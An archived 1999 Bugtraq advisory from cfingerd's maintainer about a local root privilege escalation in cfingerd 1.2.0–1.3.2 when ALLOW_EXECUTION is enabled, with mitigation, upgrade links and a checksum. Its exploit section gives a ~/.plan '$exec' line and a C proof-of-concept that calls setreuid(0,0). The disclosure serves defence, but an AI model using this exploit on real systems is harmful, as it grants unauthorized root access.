Martin Schulze (joey)
Tue, 10 Aug 1999 20:34:37 +0200
Bugtraq Security Advisory
=========================
A serious bug in cfingerd before version 1.4.0 has been reported.
It is present in all versions of cfingerd from 1.2.0 up to any
version of 1.3.2. If configured accordingly this bug enables any
local user to execute random programs with root priviledges.
Although I haven't been quite verbose with development of cfingerd,
Ken Hollis (the original author) has handed maintainership over to
me a while ago. I did some development and fixed some security
related bugs, but never made an official release. This is done now.
Affected systems
----------------
All systems running a version of cfingerd beginning with version
1.2.0 and before version 1.4.0 are affected.
You are safe if you have disabled ALLOW_EXECUTION in your
cfingerd.conf file in section "internal_config", i.e. that file
contains a line "-ALLOW_EXECUTION".
This is the default configuration of this package. If you use the
default cfingerd.conf file as shipped with the distribution you are
safe. You should still upgrade.
Recommended action
------------------
1st Immediately turn off ALLOW_EXECUTION in your cfingerd.conf file.
2nd Upgrade to the most recent version of cfingerd 1.4.0 to be found
at the primary site
ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/ or
ftp://metalab.unc.edu/pub/Linux/system/network/finger/ .
Exploit
-------
The exploit is quite simple. Thanks go to Tadek Knapik
<tadek@nautilus.uwoj.krakow.pl> who has informed me.
You need to add
$exec /tmp/relinq
to your ~/.plan file. Then compile the following relinq.c file in
/tmp:
#include <stdio.h>
void main()
{
printf("Root exploit test\n");
setregid(0, 0);
setreuid(0, 0);
printf("User: %d, group: %d.\n", getuid(), getgid());
}
Checksum
--------
File: ftp://ftp.infodrom.north.de/pub/people/joey/cfingerd/cfingerd-1.4.0.tar.gz
MD5sum: dcc25e89ba1dad6497365429b1db2909
Regards,
Joey
-- Experience is something you don't get until just after you need it.
This archive was generated by hypermail 2.0b3 on Tue Aug 10 1999 - 20:37:29 CEST